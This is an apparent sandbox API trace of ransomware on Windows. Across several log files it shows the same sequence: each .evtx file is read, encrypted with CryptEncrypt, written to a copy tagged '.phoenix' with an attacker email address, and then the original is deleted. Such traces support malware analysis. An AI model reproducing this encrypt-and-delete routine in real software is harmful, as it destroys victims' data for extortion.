	[0221.210] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0221.220] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0221.220] CloseHandle (hObject=0x2d4) returned 1
	[0221.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20
	[0221.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.220] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0221.220] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.221] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.221] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0221.222] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0221.222] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.222] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0221.280] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0221.280] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0221.282] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0221.282] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.283] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0221.283] CryptDestroyKey (hKey=0x151200) returned 1
	[0221.283] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0221.283] CryptDestroyKey (hKey=0x151380) returned 1
	[0221.283] CloseHandle (hObject=0x2d4) returned 1
	[0221.283] CloseHandle (hObject=0x2c4) returned 1
	[0221.288] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1
	[0221.290] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0221.290] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0221.290] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0221.290] CloseHandle (hObject=0x2c4) returned 1
	[0221.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20
	[0221.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.290] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0221.291] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.291] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.291] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0221.291] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0221.291] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.291] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0221.343] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0221.343] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0221.345] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0221.345] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.345] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0221.345] CryptDestroyKey (hKey=0x151380) returned 1
	[0221.345] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0221.346] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0221.346] CloseHandle (hObject=0x2c4) returned 1
	[0221.346] CloseHandle (hObject=0x2d4) returned 1
	[0221.349] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1
	[0221.350] SetEvent (hEvent=0x278) returned 1
	[0221.350] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0221.350] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0221.351] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0221.351] CloseHandle (hObject=0x2d4) returned 1
	[0221.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20
	[0221.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.351] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0221.351] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.351] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.351] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0221.351] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0221.352] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.352] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0221.823] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0221.823] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0221.826] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0221.826] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.826] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0221.826] CryptDestroyKey (hKey=0x151080) returned 1
	[0221.826] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0221.826] CryptDestroyKey (hKey=0x151700) returned 1
	[0221.826] CloseHandle (hObject=0x2d4) returned 1
	[0221.826] CloseHandle (hObject=0x2c4) returned 1
	[0221.839] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1
	[0221.843] SetEvent (hEvent=0x278) returned 1
	[0221.844] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0221.844] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0221.844] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0221.844] CloseHandle (hObject=0x2c4) returned 1
	[0221.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20
	[0221.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.845] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0221.911] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.911] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.911] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0221.911] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0221.912] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.912] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0221.929] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0221.929] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0221.931] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0221.931] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.931] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0221.931] CryptDestroyKey (hKey=0x151780) returned 1
	[0221.931] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0221.931] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0221.931] CloseHandle (hObject=0x2c4) returned 1
	[0221.932] CloseHandle (hObject=0x2d4) returned 1
	[0221.933] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1
	[0221.934] SetEvent (hEvent=0x278) returned 1
	[0221.934] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0221.934] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0221.935] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0221.935] CloseHandle (hObject=0x2d4) returned 1
	[0221.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20
	[0221.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.935] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0221.935] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.935] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.935] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0221.936] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0221.936] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.936] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0221.977] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0221.978] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0221.980] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1510c0) returned 1
	[0221.980] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.980] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0221.980] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0221.980] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0221.980] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0221.980] CloseHandle (hObject=0x2d4) returned 1
	[0221.981] CloseHandle (hObject=0x2c4) returned 1
	[0221.984] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1
	[0221.985] SetEvent (hEvent=0x278) returned 1
	[0221.985] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0221.985] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0222.262] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0222.262] CloseHandle (hObject=0x2d0) returned 1
	[0222.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20
	[0222.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.263] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0222.263] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.263] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.263] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.263] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1510c0) returned 1
	[0222.263] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.263] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
